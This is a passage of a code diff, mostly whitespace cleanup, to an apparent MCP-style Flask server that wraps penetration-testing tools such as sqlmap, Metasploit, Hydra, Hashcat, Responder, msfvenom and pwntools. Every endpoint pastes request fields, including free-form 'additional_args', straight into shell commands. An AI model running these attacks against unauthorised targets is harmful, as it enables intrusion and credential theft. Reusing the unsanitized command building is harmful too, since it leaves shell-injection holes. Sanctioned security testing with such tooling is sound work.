+
         if not image:
             logger.warning("🐳 Clair called without image parameter")
             return jsonify({"error": "Image parameter is required"}), 400
-        
+
         # Use clairctl for scanning
         command = f"clairctl analyze {image}"
-        
+
         if config:
             command += f" --config {config}"
-        
+
         if output_format:
             command += f" --format {output_format}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🐳 Starting Clair vulnerability scan: {image}")
         result = execute_command(command)
         logger.info(f"📊 Clair scan completed for {image}")
@@ -8991,21 +8991,21 @@ def falco():
         output_format = params.get("output_format", "json")
         duration = params.get("duration", 60)  # seconds
         additional_args = params.get("additional_args", "")
-        
+
         command = f"timeout {duration} falco"
-        
+
         if config_file:
             command += f" --config {config_file}"
-        
+
         if rules_file:
             command += f" --rules {rules_file}"
-        
+
         if output_format == "json":
             command += " --json"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🛡️  Starting Falco runtime monitoring for {duration}s")
         result = execute_command(command)
         logger.info(f"📊 Falco monitoring completed")
@@ -9025,24 +9025,24 @@ def checkov():
         skip_check = params.get("skip_check", "")
         output_format = params.get("output_format", "json")
         additional_args = params.get("additional_args", "")
-        
+
         command = f"checkov -d {directory}"
-        
+
         if framework:
             command += f" --framework {framework}"
-        
+
         if check:
             command += f" --check {check}"
-        
+
         if skip_check:
             command += f" --skip-check {skip_check}"
-        
+
         if output_format:
             command += f" --output {output_format}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting Checkov IaC scan: {directory}")
         result = execute_command(command)
         logger.info(f"📊 Checkov scan completed")
@@ -9062,21 +9062,21 @@ def terrascan():
         output_format = params.get("output_format", "json")
         severity = params.get("severity", "")
         additional_args = params.get("additional_args", "")
-        
+
         command = f"terrascan scan -t {scan_type} -d {iac_dir}"
-        
+
         if policy_type:
             command += f" -p {policy_type}"
-        
+
         if output_format:
             command += f" -o {output_format}"
-        
+
         if severity:
             command += f" --severity {severity}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting Terrascan IaC scan: {iac_dir}")
         result = execute_command(command)
         logger.info(f"📊 Terrascan scan completed")
@@ -9093,18 +9093,18 @@ def dirb():
         url = params.get("url", "")
         wordlist = params.get("wordlist", "/usr/share/wordlists/dirb/common.txt")
         additional_args = params.get("additional_args", "")
-        
+
         if not url:
             logger.warning("🌐 Dirb called without URL parameter")
             return jsonify({
                 "error": "URL parameter is required"
             }), 400
-        
+
         command = f"dirb {url} {wordlist}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"📁 Starting Dirb scan: {url}")
         result = execute_command(command)
         logger.info(f"📊 Dirb scan completed for {url}")
@@ -9122,18 +9122,18 @@ def nikto():
         params = request.json
         target = params.get("target", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not target:
             logger.warning("🎯 Nikto called without target parameter")
             return jsonify({
                 "error": "Target parameter is required"
             }), 400
-        
+
         command = f"nikto -h {target}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔬 Starting Nikto scan: {target}")
         result = execute_command(command)
         logger.info(f"📊 Nikto scan completed for {target}")
@@ -9152,21 +9152,21 @@ def sqlmap():
         url = params.get("url", "")
         data = params.get("data", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not url:
             logger.warning("🎯 SQLMap called without URL parameter")
             return jsonify({
                 "error": "URL parameter is required"
             }), 400
-        
+
         command = f"sqlmap -u {url} --batch"
-        
+
         if data:
             command += f" --data=\"{data}\""
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"💉 Starting SQLMap scan: {url}")
         result = execute_command(command)
         logger.info(f"📊 SQLMap scan completed for {url}")
@@ -9184,35 +9184,35 @@ def metasploit():
         params = request.json
         module = params.get("module", "")
         options = params.get("options", {})
-        
+
         if not module:
             logger.warning("🚀 Metasploit called without module parameter")
             return jsonify({
                 "error": "Module parameter is required"
             }), 400
-        
+
         # Create an MSF resource script
         resource_content = f"use {module}\n"
         for key, value in options.items():
             resource_content += f"set {key} {value}\n"
         resource_content += "exploit\n"
-        
+
         # Save resource script to a temporary file
         resource_file = "/tmp/mcp_msf_resource.rc"
         with open(resource_file, "w") as f:
             f.write(resource_content)
-        
+
         command = f"msfconsole -q -r {resource_file}"
-        
+
         logger.info(f"🚀 Starting Metasploit module: {module}")
         result = execute_command(command)
-        
+
         # Clean up the temporary file
         try:
             os.remove(resource_file)
         except Exception as e:
             logger.warning(f"Error removing temporary resource file: {str(e)}")
-        
+
         logger.info(f"📊 Metasploit module completed: {module}")
         return jsonify(result)
     except Exception as e:
@@ -9233,36 +9233,36 @@ def hydra():
         password = params.get("password", "")
         password_file = params.get("password_file", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not target or not service:
             logger.warning("🎯 Hydra called without target or service parameter")
             return jsonify({
                 "error": "Target and service parameters are required"
             }), 400
-        
+
         if not (username or username_file) or not (password or password_file):
             logger.warning("🔑 Hydra called without username/password parameters")
             return jsonify({
                 "error": "Username/username_file and password/password_file are required"
             }), 400
-        
+
         command = f"hydra -t 4"
-        
+
         if username:
             command += f" -l {username}"
         elif username_file:
             command += f" -L {username_file}"
-        
+
         if password:
             command += f" -p {password}"
         elif password_file:
             command += f" -P {password_file}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         command += f" {target} {service}"
-        
+
         logger.info(f"🔑 Starting Hydra attack: {target}:{service}")
         result = execute_command(command)
         logger.info(f"📊 Hydra attack completed for {target}")
@@ -9282,26 +9282,26 @@ def john():
         wordlist = params.get("wordlist", "/usr/share/wordlists/rockyou.txt")
         format_type = params.get("format", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not hash_file:
             logger.warning("🔐 John called without hash_file parameter")
             return jsonify({
                 "error": "Hash file parameter is required"
             }), 400
-        
+
         command = f"john"
-        
+
         if format_type:
             command += f" --format={format_type}"
-        
+
         if wordlist:
             command += f" --wordlist={wordlist}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         command += f" {hash_file}"
-        
+
         logger.info(f"🔐 Starting John the Ripper: {hash_file}")
         result = execute_command(command)
         logger.info(f"📊 John the Ripper completed")
@@ -9319,18 +9319,18 @@ def wpscan():
         params = request.json
         url = params.get("url", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not url:
             logger.warning("🌐 WPScan called without URL parameter")
             return jsonify({
                 "error": "URL parameter is required"
             }), 400
-        
+
         command = f"wpscan --url {url}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting WPScan: {url}")
         result = execute_command(command)
         logger.info(f"📊 WPScan completed for {url}")
@@ -9348,15 +9348,15 @@ def enum4linux():
         params = request.json
         target = params.get("target", "")
         additional_args = params.get("additional_args", "-a")
-        
+
         if not target:
             logger.warning("🎯 Enum4linux called without target parameter")
             return jsonify({
                 "error": "Target parameter is required"
             }), 400
-        
+
         command = f"enum4linux {additional_args} {target}"
-        
+
         logger.info(f"🔍 Starting Enum4linux: {target}")
         result = execute_command(command)
         logger.info(f"📊 Enum4linux completed for {target}")
@@ -9377,15 +9377,15 @@ def ffuf():
         mode = params.get("mode", "directory")
         match_codes = params.get("match_codes", "200,204,301,302,307,401,403")
         additional_args = params.get("additional_args", "")
-        
+
         if not url:
             logger.warning("🌐 FFuf called without URL parameter")
             return jsonify({
                 "error": "URL parameter is required"
             }), 400
-        
+
         command = f"ffuf"
-        
+
         if mode == "directory":
             command += f" -u {url}/FUZZ -w {wordlist}"
         elif mode == "vhost":
@@ -9394,12 +9394,12 @@ def ffuf():
             command += f" -u {url}?FUZZ=value -w {wordlist}"
         else:
             command += f" -u {url} -w {wordlist}"
-            
+
         command += f" -mc {match_codes}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting FFuf {mode} fuzzing: {url}")
         result = execute_command(command)
         logger.info(f"📊 FFuf fuzzing completed for {url}")
@@ -9422,30 +9422,30 @@ def netexec():
         hash_value = params.get("hash", "")
         module = params.get("module", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not target:
             logger.warning("🎯 NetExec called without target parameter")
             return jsonify({
                 "error": "Target parameter is required"
             }), 400
-        
+
         command = f"nxc {protocol} {target}"
-        
+
         if username:
             command += f" -u {username}"
-            
+
         if password:
             command += f" -p {password}"
-            
+
         if hash_value:
             command += f" -H {hash_value}"
-            
+
         if module:
             command += f" -M {module}"
-            
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting NetExec {protocol} scan: {target}")
         result = execute_command(command)
         logger.info(f"📊 NetExec scan completed for {target}")
@@ -9464,23 +9464,23 @@ def amass():
         domain = params.get("domain", "")
         mode = params.get("mode", "enum")
         additional_args = params.get("additional_args", "")
-        
+
         if not domain:
             logger.warning("🌐 Amass called without domain parameter")
             return jsonify({
                 "error": "Domain parameter is required"
             }), 400
-        
+
         command = f"amass {mode}"
-        
+
         if mode == "enum":
             command += f" -d {domain}"
         else:
             command += f" -d {domain}"
-            
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting Amass {mode}: {domain}")
         result = execute_command(command)
         logger.info(f"📊 Amass completed for {domain}")
@@ -9502,29 +9502,29 @@ def hashcat():
         wordlist = params.get("wordlist", "/usr/share/wordlists/rockyou.txt")
         mask = params.get("mask", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not hash_file:
             logger.warning("🔐 Hashcat called without hash_file parameter")
             return jsonify({
                 "error": "Hash file parameter is required"
             }), 400
-            
+
         if not hash_type:
             logger.warning("🔐 Hashcat called without hash_type parameter")
             return jsonify({
                 "error": "Hash type parameter is required"
             }), 400
-        
+
         command = f"hashcat -m {hash_type} -a {attack_mode} {hash_file}"
-        
+
         if attack_mode == "0" and wordlist:
             command += f" {wordlist}"
         elif attack_mode == "3" and mask:
             command += f" {mask}"
-            
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔐 Starting Hashcat attack: mode {attack_mode}")
         result = execute_command(command)
         logger.info(f"📊 Hashcat attack completed")
@@ -9544,24 +9544,24 @@ def subfinder():
         silent = params.get("silent", True)
         all_sources = params.get("all_sources", False)
         additional_args = params.get("additional_args", "")
-        
+
         if not domain:
             logger.warning("🌐 Subfinder called without domain parameter")
             return jsonify({
                 "error": "Domain parameter is required"
             }), 400
-        
+
         command = f"subfinder -d {domain}"
-        
+
         if silent:
             command += " -silent"
-            
+
         if all_sources:
             command += " -all"
-            
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting Subfinder: {domain}")
         result = execute_command(command)
         logger.info(f"📊 Subfinder completed for {domain}")
@@ -9582,27 +9582,27 @@ def smbmap():
         password = params.get("password", "")
         domain = params.get("domain", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not target:
             logger.warning("🎯 SMBMap called without target parameter")
             return jsonify({
                 "error": "Target parameter is required"
             }), 400
-        
+
         command = f"smbmap -H {target}"
-        
+
         if username:
             command += f" -u {username}"
-            
+
         if password:
             command += f" -p {password}"
-            
+
         if domain:
             command += f" -d {domain}"
-            
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting SMBMap: {target}")
         result = execute_command(command)
         logger.info(f"📊 SMBMap completed for {target}")
@@ -9629,22 +9629,22 @@ def rustscan():
         timeout = params.get("timeout", 1500)
         scripts = params.get("scripts", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not target:
             logger.warning("🎯 Rustscan called without target parameter")
             return jsonify({"error": "Target parameter is required"}), 400
-        
+
         command = f"rustscan -a {target} --ulimit {ulimit} -b {batch_size} -t {timeout}"
-        
+
         if ports:
             command += f" -p {ports}"
-        
+
         if scripts:
             command += f" -- -sC -sV"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"⚡ Starting Rustscan: {target}")
         result = execute_command(command)
         logger.info(f"📊 Rustscan completed for {target}")
@@ -9666,28 +9666,28 @@ def masscan():
         source_ip = params.get("source_ip", "")
         banners = params.get("banners", False)
         additional_args = params.get("additional_args", "")
-        
+
         if not target:
             logger.warning("🎯 Masscan called without target parameter")
             return jsonify({"error": "Target parameter is required"}), 400
-        
+
         command = f"masscan {target} -p{ports} --rate={rate}"
-        
+
         if interface:
             command += f" -e {interface}"
-        
+
         if router_mac:
             command += f" --router-mac {router_mac}"
-        
+
         if source_ip:
             command += f" --source-ip {source_ip}"
-        
+
         if banners:
             command += " --banners"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🚀 Starting Masscan: {target} at rate {rate}")
         result = execute_command(command)
         logger.info(f"📊 Masscan completed for {target}")
@@ -9711,38 +9711,38 @@ def nmap_advanced():
         aggressive = params.get("aggressive", False)
         stealth = params.get("stealth", False)
         additional_args = params.get("additional_args", "")
-        
+
         if not target:
             logger.warning("🎯 Advanced Nmap called without target parameter")
             return jsonify({"error": "Target parameter is required"}), 400
-        
+
         command = f"nmap {scan_type} {target}"
-        
+
         if ports:
             command += f" -p {ports}"
-        
+
         if stealth:
             command += " -T2 -f --mtu 24"
         else:
             command += f" -{timing}"
-        
+
         if os_detection:
             command += " -O"
-        
+
         if version_detection:
             command += " -sV"
-        
+
         if aggressive:
             command += " -A"
-        
+
         if nse_scripts:
             command += f" --script={nse_scripts}"
         elif not aggressive:  # Default useful scripts if not aggressive
             command += " --script=default,discovery,safe"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting Advanced Nmap: {target}")
         result = execute_command(command)
         logger.info(f"📊 Advanced Nmap completed for {target}")
@@ -9763,22 +9763,22 @@ def autorecon():
         heartbeat = params.get("heartbeat", 60)
         timeout = params.get("timeout", 300)
         additional_args = params.get("additional_args", "")
-        
+
         if not target:
             logger.warning("🎯 AutoRecon called without target parameter")
             return jsonify({"error": "Target parameter is required"}), 400
-        
+
         command = f"autorecon {target} -o {output_dir} --heartbeat {heartbeat} --timeout {timeout}"
-        
+
         if port_scans != "default":
             command += f" --port-scans {port_scans}"
-        
+
         if service_scans != "default":
             command += f" --service-scans {service_scans}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔄 Starting AutoRecon: {target}")
         result = execute_command(command)
         logger.info(f"📊 AutoRecon completed for {target}")
@@ -9801,22 +9801,22 @@ def enum4linux_ng():
         groups = params.get("groups", True)
         policy = params.get("policy", True)
         additional_args = params.get("additional_args", "")
-        
+
         if not target:
             logger.warning("🎯 Enum4linux-ng called without target parameter")
             return jsonify({"error": "Target parameter is required"}), 400
-        
+
         command = f"enum4linux-ng {target}"
-        
+
         if username:
             command += f" -u {username}"
-        
+
         if password:
             command += f" -p {password}"
-        
+
         if domain:
             command += f" -d {domain}"
-        
+
         # Add specific enumeration options
         enum_options = []
         if shares:
@@ -9827,13 +9827,13 @@ def enum4linux_ng():
             enum_options.append("G")
         if policy:
             enum_options.append("P")
-        
+
         if enum_options:
             command += f" -A {','.join(enum_options)}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting Enum4linux-ng: {target}")
         result = execute_command(command)
         logger.info(f"📊 Enum4linux-ng completed for {target}")
@@ -9853,11 +9853,11 @@ def rpcclient():
         domain = params.get("domain", "")
         commands = params.get("commands", "enumdomusers;enumdomgroups;querydominfo")
         additional_args = params.get("additional_args", "")
-        
+
         if not target:
             logger.warning("🎯 rpcclient called without target parameter")
             return jsonify({"error": "Target parameter is required"}), 400
-        
+
         # Build authentication string
         auth_string = ""
         if username and password:
@@ -9866,18 +9866,18 @@ def rpcclient():
             auth_string = f"-U {username}"
         else:
             auth_string = "-U ''"  # Anonymous
-        
+
         if domain:
             auth_string += f" -W {domain}"
-        
+
         # Create command sequence
         command_sequence = commands.replace(";", "\n")
-        
+
         command = f"echo -e '{command_sequence}' | rpcclient {auth_string} {target}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting rpcclient: {target}")
         result = execute_command(command)
         logger.info(f"📊 rpcclient completed for {target}")
@@ -9895,21 +9895,21 @@ def nbtscan():
         verbose = params.get("verbose", False)
         timeout = params.get("timeout", 2)
         additional_args = params.get("additional_args", "")
-        
+
         if not target:
             logger.warning("🎯 nbtscan called without target parameter")
             return jsonify({"error": "Target parameter is required"}), 400
-        
+
         command = f"nbtscan -t {timeout}"
-        
+
         if verbose:
             command += " -v"
-        
+
         command += f" {target}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting nbtscan: {target}")
         result = execute_command(command)
         logger.info(f"📊 nbtscan completed for {target}")
@@ -9929,24 +9929,24 @@ def arp_scan():
         timeout = params.get("timeout", 500)
         retry = params.get("retry", 3)
         additional_args = params.get("additional_args", "")
-        
+
         if not target and not local_network:
             logger.warning("🎯 arp-scan called without target parameter")
             return jsonify({"error": "Target parameter or local_network flag is required"}), 400
-        
+
         command = f"arp-scan -t {timeout} -r {retry}"
-        
+
         if interface:
             command += f" -I {interface}"
-        
+
         if local_network:
             command += " -l"
         else:
             command += f" {target}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting arp-scan: {target if target else 'local network'}")
         result = execute_command(command)
         logger.info(f"📊 arp-scan completed")
@@ -9967,28 +9967,28 @@ def responder():
         fingerprint = params.get("fingerprint", False)
         duration = params.get("duration", 300)  # 5 minutes default
         additional_args = params.get("additional_args", "")
-        
+
         if not interface:
             logger.warning("🎯 Responder called without interface parameter")
             return jsonify({"error": "Interface parameter is required"}), 400
-        
+
         command = f"timeout {duration} responder -I {interface}"
-        
+
         if analyze:
             command += " -A"
-        
+
         if wpad:
             command += " -w"
-        
+
         if force_wpad_auth:
             command += " -F"
-        
+
         if fingerprint:
             command += " -f"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔍 Starting Responder on interface: {interface}")
         result = execute_command(command)
         logger.info(f"📊 Responder completed")
@@ -10006,29 +10006,29 @@ def volatility():
         plugin = params.get("plugin", "")
         profile = params.get("profile", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not memory_file:
             logger.warning("🧠 Volatility called without memory_file parameter")
             return jsonify({
                 "error": "Memory file parameter is required"
             }), 400
-            
+
         if not plugin:
             logger.warning("🧠 Volatility called without plugin parameter")
             return jsonify({
                 "error": "Plugin parameter is required"
             }), 400
-        
+
         command = f"volatility -f {memory_file}"
-        
+
         if profile:
             command += f" --profile={profile}"
-            
+
         command += f" {plugin}"
-            
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🧠 Starting Volatility analysis: {plugin}")
         result = execute_command(command)
         logger.info(f"📊 Volatility analysis completed")
@@ -10050,30 +10050,30 @@ def msfvenom():
         encoder = params.get("encoder", "")
         iterations = params.get("iterations", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not payload:
             logger.warning("🚀 MSFVenom called without payload parameter")
             return jsonify({
                 "error": "Payload parameter is required"
             }), 400
-        
+
         command = f"msfvenom -p {payload}"
-        
+
         if format_type:
             command += f" -f {format_type}"
-            
+
         if output_file:
             command += f" -o {output_file}"
-            
+
         if encoder:
             command += f" -e {encoder}"
-            
+
         if iterations:
             command += f" -i {iterations}"
-            
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🚀 Starting MSFVenom payload generation: {payload}")
         result = execute_command(command)
         logger.info(f"📊 MSFVenom payload generated")
@@ -10097,38 +10097,38 @@ def gdb():
         commands = params.get("commands", "")
         script_file = params.get("script_file", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not binary:
             logger.warning("🔧 GDB called without binary parameter")
             return jsonify({
                 "error": "Binary parameter is required"
             }), 400
-        
+
         command = f"gdb {binary}"
-        
+
         if script_file:
             command += f" -x {script_file}"
-        
+
         if commands:
             temp_script = "/tmp/gdb_commands.txt"
             with open(temp_script, "w") as f:
                 f.write(commands)
             command += f" -x {temp_script}"
-            
+
         if additional_args:
             command += f" {additional_args}"
-            
+
         command += " -batch"
-        
+
         logger.info(f"🔧 Starting GDB analysis: {binary}")
         result = execute_command(command)
-        
+
         if commands and os.path.exists("/tmp/gdb_commands.txt"):
             try:
                 os.remove("/tmp/gdb_commands.txt")
             except:
                 pass
-                
+
         logger.info(f"📊 GDB analysis completed for {binary}")
         return jsonify(result)
     except Exception as e:
@@ -10145,13 +10145,13 @@ def radare2():
         binary = params.get("binary", "")
         commands = params.get("commands", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not binary:
             logger.warning("🔧 Radare2 called without binary parameter")
             return jsonify({
                 "error": "Binary parameter is required"
             }), 400
-        
+
         if commands:
             temp_script = "/tmp/r2_commands.txt"
             with open(temp_script, "w") as f:
@@ -10159,19 +10159,19 @@ def radare2():
             command = f"r2 -i {temp_script} -q {binary}"
         else:
             command = f"r2 -q {binary}"
-            
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔧 Starting Radare2 analysis: {binary}")
         result = execute_command(command)
-        
+
         if commands and os.path.exists("/tmp/r2_commands.txt"):
             try:
                 os.remove("/tmp/r2_commands.txt")
             except:
                 pass
-                
+
         logger.info(f"📊 Radare2 analysis completed for {binary}")
         return jsonify(result)
     except Exception as e:
@@ -10188,23 +10188,23 @@ def binwalk():
         file_path = params.get("file_path", "")
         extract = params.get("extract", False)
         additional_args = params.get("additional_args", "")
-        
+
         if not file_path:
             logger.warning("🔧 Binwalk called without file_path parameter")
             return jsonify({
                 "error": "File path parameter is required"
             }), 400
-        
+
         command = f"binwalk"
-        
+
         if extract:
             command += " -e"
-            
+
         if additional_args:
             command += f" {additional_args}"
-            
+
         command += f" {file_path}"
-        
+
         logger.info(f"🔧 Starting Binwalk analysis: {file_path}")
         result = execute_command(command)
         logger.info(f"📊 Binwalk analysis completed for {file_path}")
@@ -10223,21 +10223,21 @@ def ropgadget():
         binary = params.get("binary", "")
         gadget_type = params.get("gadget_type", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not binary:
             logger.warning("🔧 ROPgadget called without binary parameter")
             return jsonify({
                 "error": "Binary parameter is required"
             }), 400
-        
+
         command = f"ROPgadget --binary {binary}"
-        
+
         if gadget_type:
             command += f" --only '{gadget_type}'"
-            
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔧 Starting ROPgadget search: {binary}")
         result = execute_command(command)
         logger.info(f"📊 ROPgadget search completed for {binary}")
@@ -10254,15 +10254,15 @@ def checksec():
     try:
         params = request.json
         binary = params.get("binary", "")
-        
+
         if not binary:
             logger.warning("🔧 Checksec called without binary parameter")
             return jsonify({
                 "error": "Binary parameter is required"
             }), 400
-        
+
         command = f"checksec --file={binary}"
-        
+
         logger.info(f"🔧 Starting Checksec analysis: {binary}")
         result = execute_command(command)
         logger.info(f"📊 Checksec analysis completed for {binary}")
@@ -10282,23 +10282,23 @@ def xxd():
         offset = params.get("offset", "0")
         length = params.get("length", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not file_path:
             logger.warning("🔧 XXD called without file_path parameter")
             return jsonify({
                 "error": "File path parameter is required"
             }), 400
-        
+
         command = f"xxd -s {offset}"
-        
+
         if length:
             command += f" -l {length}"
-            
+
         if additional_args:
             command += f" {additional_args}"
-            
+
         command += f" {file_path}"
-        
+
         logger.info(f"🔧 Starting XXD hex dump: {file_path}")
         result = execute_command(command)
         logger.info(f"📊 XXD hex dump completed for {file_path}")
@@ -10317,20 +10317,20 @@ def strings():
         file_path = params.get("file_path", "")
         min_len = params.get("min_len", 4)
         additional_args = params.get("additional_args", "")
-        
+
         if not file_path:
             logger.warning("🔧 Strings called without file_path parameter")
             return jsonify({
                 "error": "File path parameter is required"
             }), 400
-        
+
         command = f"strings -n {min_len}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-            
+
         command += f" {file_path}"
-        
+
         logger.info(f"🔧 Starting Strings extraction: {file_path}")
         result = execute_command(command)
         logger.info(f"📊 Strings extraction completed for {file_path}")
@@ -10349,25 +10349,25 @@ def objdump():
         binary = params.get("binary", "")
         disassemble = params.get("disassemble", True)
         additional_args = params.get("additional_args", "")
-        
+
         if not binary:
             logger.warning("🔧 Objdump called without binary parameter")
             return jsonify({
                 "error": "Binary parameter is required"
             }), 400
-        
+
         command = f"objdump"
-        
+
         if disassemble:
             command += " -d"
         else:
             command += " -x"
-            
+
         if additional_args:
             command += f" {additional_args}"
-            
+
         command += f" {binary}"
-        
+
         logger.info(f"🔧 Starting Objdump analysis: {binary}")
         result = execute_command(command)
         logger.info(f"📊 Objdump analysis completed for {binary}")
@@ -10393,27 +10393,27 @@ def ghidra():
         analysis_timeout = params.get("analysis_timeout", 300)
         output_format = params.get("output_format", "xml")
         additional_args = params.get("additional_args", "")
-        
+
         if not binary:
             logger.warning("🔧 Ghidra called without binary parameter")
             return jsonify({"error": "Binary parameter is required"}), 400
-        
+
         # Create Ghidra project directory
         project_dir = f"/tmp/ghidra_projects/{project_name}"
         os.makedirs(project_dir, exist_ok=True)
-        
+
         # Base Ghidra command for headless analysis
         command = f"analyzeHeadless {project_dir} {project_name} -import {binary} -deleteProject"
-        
+
         if script_file:
             command += f" -postScript {script_file}"
-        
+
         if output_format == "xml":
             command += f" -postScript ExportXml.java {project_dir}/analysis.xml"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔧 Starting Ghidra analysis: {binary}")
         result = execute_command(command, timeout=analysis_timeout)
         logger.info(f"📊 Ghidra analysis completed for {binary}")
@@ -10433,14 +10433,14 @@ def pwntools():
         target_port = params.get("target_port", 0)
         exploit_type = params.get("exploit_type", "local")  # local, remote, format_string, rop
         additional_args = params.get("additional_args", "")
-        
+
         if not script_content and not target_binary:
             logger.warning("🔧 Pwntools called without script content or target binary")
             return jsonify({"error": "Script content or target binary is required"}), 400
-        
+
         # Create temporary Python script
         script_file = "/tmp/pwntools_exploit.py"
-        
+
         if script_content:
             # Use provided script content
             with open(script_file, "w") as f:
@@ -10476,21 +10476,21 @@ p.interactive()
 """
             with open(script_file, "w") as f:
                 f.write(template)
-        
+
         command = f"python3 {script_file}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔧 Starting Pwntools exploit: {exploit_type}")
         result = execute_command(command)
-        
+
         # Cleanup
         try:
             os.remove(script_file)
         except:
             pass
-        
+
         logger.info(f"📊 Pwntools exploit completed")
         return jsonify(result)
     except Exception as e:
@@ -10505,16 +10505,16 @@ def one_gadget():
         libc_path = params.get("libc_path", "")
         level = params.get("level", 1)  # 0, 1, 2 for different constraint levels
         additional_args = params.get("additional_args", "")
-        
+
         if not libc_path:
             logger.warning("🔧 one_gadget called without libc_path parameter")
             return jsonify({"error": "libc_path parameter is required"}), 400
-        
+
         command = f"one_gadget {libc_path} --level {level}"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔧 Starting one_gadget analysis: {libc_path}")
         result = execute_command(command)
         logger.info(f"📊 one_gadget analysis completed")
@@ -10532,18 +10532,18 @@ def libc_database():
         symbols = params.get("symbols", "")  # format: "symbol1:offset1 symbol2:offset2"
         libc_id = params.get("libc_id", "")
         additional_args = params.get("additional_args", "")
-        
+
         if action == "find" and not symbols:
             logger.warning("🔧 libc-database find called without symbols")
             return jsonify({"error": "Symbols parameter is required for find action"}), 400
-        
+
         if action in ["dump", "download"] and not libc_id:
             logger.warning("🔧 libc-database called without libc_id for dump/download")
             return jsonify({"error": "libc_id parameter is required for dump/download actions"}), 400
-        
+
         # Navigate to libc-database directory (assuming it's installed)
         base_command = "cd /opt/libc-database 2>/dev/null || cd ~/libc-database 2>/dev/null || echo 'libc-database not found'"
-        
+
         if action == "find":
             command = f"{base_command} && ./find {symbols}"
         elif action == "dump":
@@ -10552,10 +10552,10 @@ def libc_database():
             command = f"{base_command} && ./download {libc_id}"
         else:
             return jsonify({"error": f"Invalid action: {action}"}), 400
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         logger.info(f"🔧 Starting libc-database {action}: {symbols or libc_id}")
         result = execute_command(command)
         logger.info(f"📊 libc-database {action} completed")
@@ -10574,23 +10574,23 @@ def gdb_peda():
         attach_pid = params.get("attach_pid", 0)
         core_file = params.get("core_file", "")
         additional_args = params.get("additional_args", "")
-        
+
         if not binary and not attach_pid and not core_file:
             logger.warning("🔧 GDB-PEDA called without binary, PID, or core file")
             return jsonify({"error": "Binary, PID, or core file parameter is required"}), 400
-        
+
         # Base GDB command with PEDA
         command = "gdb -q"
-        
+
         if binary:
             command += f" {binary}"
-        
+
         if core_file:
             command += f" {core_file}"
-        
+
         if attach_pid:
             command += f" -p {attach_pid}"
-        
+
         # Create command script
         if commands:
             temp_script = "/tmp/gdb_peda_commands.txt"
@@ -10605,21 +10605,21 @@ quit
         else:
             # Default PEDA initialization
             command += " -ex 'source ~/peda/peda.py' -ex 'quit'"
-        
+
         if additional_args:
             command += f" {additional_args}"
-        
+
         target_info = binary or f'PID {attach_pid}' or core_file
         logger.info(f"🔧 Starting GDB-PEDA analysis: {target_info}")
         result = execute_command(command)
-        
+
         # Cleanup
         if commands and os.path.exists("/tmp/gdb_peda_commands.txt"):
             try:
                 os.remove("/tmp/gdb_peda_commands.txt")
             except:
                 pass
-        
+
         logger.info(f"📊 GDB-PEDA analysis completed")
         return jsonify(result)
     except Exception as e:
@@ -10637,14 +10637,14 @@ def angr():
         avoid_addresses = params.get("avoid_addresses", "")
         analysis_type = params.get("analysis_type", "symbolic")  # symbolic, cfg, static
         additional_args = params.get("additional_args", "")
-        
+
         if not binary:
             logger.warning("🔧 angr called without binary parameter")
             return jsonify({"error": "Binary parameter is required"}), 400
-        
+
         # Create angr script
         script_file = "/tmp/angr_analysis.py"
-        
